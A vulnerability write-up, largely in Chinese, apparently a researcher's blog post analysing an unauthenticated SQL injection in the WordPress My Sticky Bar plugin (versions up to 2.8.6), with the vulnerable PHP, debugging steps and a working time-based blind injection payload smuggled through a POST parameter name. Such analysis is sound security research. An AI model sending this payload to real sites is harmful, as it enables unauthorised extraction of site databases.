My Sticky Bar Plugin <= 2.8.6

The My Sticky Bar plugin for WordPress is vulnerable to SQL injection via the stickymenu_contact_lead_form AJAX action in all versions up to, and including, 2.8.6. This is due to the handler using attacker-controlled POST parameter names directly as SQL column identifiers in $wpdb->insert(). While parameter values are sanitized with esc_sql() and sanitize_text_field(), the parameter keys are used as-is to build the column list in the INSERT statement. This makes it possible for unauthenticated attackers to inject SQL via crafted parameter names, enabling blind time-based data extraction from the database.

0x01 分析

全局搜索 stickymenu_contact_lead_form ,在 mystickymenu.php 找到关键代码

1
2
add_action('wp_ajax_stickymenu_contact_lead_form', array($this, 'stickymenu_contact_lead_form'));
add_action('wp_ajax_nopriv_stickymenu_contact_lead_form', array($this, 'stickymenu_contact_lead_form'));

这代码大概的意思是是在 WordPress 中注册一个 AJAX 处理函数。当系统接收到一个指定的 AJAX 请求时,会自动调用当前类中的 stickymenu_contact_lead_form 方法来处理业务逻辑。

wp_ajax :只有“已登录用户”可以调用这个 AJAX 接口

wp_ajax_nopriv:未登录用户(游客)也可以调用这个接口 (未授权sql注入的原因之一)

接着我们找 $wpdb->insert(),第 2396

1
2
3
4
	                if( isset($params) && !empty($params) ){
2396 $wpdb->insert($contact_lists_table, $params);
2397 die;
2398 }

这段代码使用 WordPress 提供的 $wpdb->insert() 方法向数据库插入数据

1
wpdb::insert( string $table, array $data, string[]|string $format = null ): int|false

参数说明:

  • $table:目标数据表名,例如 wp_users
  • $data:要插入的数据,格式为键值对数组,键是字段名,值是对应数据
  • $format:数据类型格式,用来指定每个值的类型,例如 %d(整数)、%s(字符串)、%f(浮点数),用于安全处理

wpdb::insert() 内部会自动构造 INSERT SQL 语句,并调用类似模拟预编译的机制(但不是真正的预编译,本质还是直接拼接 sql 语句)对数据进行转义和绑定,开发者无需手动拼接 SQL,从而降低 SQL 注入风险。

看一下params

1
2
3
4
5
6
7
8
9
10
foreach( $postArr as $key => $val ){
if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){
$params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : '';
}
}

$params["widget_id"] = esc_sql( sanitize_text_field($element_widget_no));
$params["widget_name"] = esc_sql( sanitize_text_field($element_widget_name));
$params["message_date"] = date('Y-m-d H:i:s');
$params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '' ) ? sanitize_email($params["contact_email"]) : '';

$key 来自于 $postArr,**$postArr** 来自于 $POST 所以虽然说对值进行了校验,但却没有校验字段名(数组的 key)。

构造 exp

1
2
3
POST /wp-admin/admin-ajax.php?action=stickymenu_contact_lead_form HTTP/1.1

widget_id=0&contact_name=alice&debug_field=test

0x02 调试

按道理讲,debug_field 就直接被放进 insert 语句了,但是还得慢慢调试,因为我的代码放在 docker 里面,所以还得靠 gpt 帮我写一下 xdeug 配置的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug in Docker",
"type": "php",
"request": "launch",
"port": 9000,
"pathMappings": {
"/var/www/html/wp-content/plugins/mystickymenu2.8.6": "/Users/she11f/Desktop/WordPress/mystickymenu2.8.6"
},
"log": true
}
]
}

断点直接打到 insert,然后 在 VSCode 的 WATCH 里加这几个表达式:

1
2
$wpdb->last_query  → 最后执行的SQL语句
$wpdb->last_error → 最后一次SQL错误信息

这两个是 WordPress $wpdb 对象里非常常用的调试属性,开发和代码审计都会用到。

启动调试

1
2
Unknown column 'debug_field' in 'INSERT INTO'
"INSERT INTO `wp_mystickymenu_contact_lists` (`contact_name`, `debug_field`, `widget_id`, `widget_name`, `message_date`, `contact_email`) VALUES ('alice', 'test', '', 'Bar #0', '2026-03-26 09:21:17', '')"

可以看到debug_field确实被写进去了,只是不存在这个字段所以报错了,这里打一个时间盲注入

1
widget_id=0&contact_name=alice&message_date`)values('1',(select(sleep(5))))#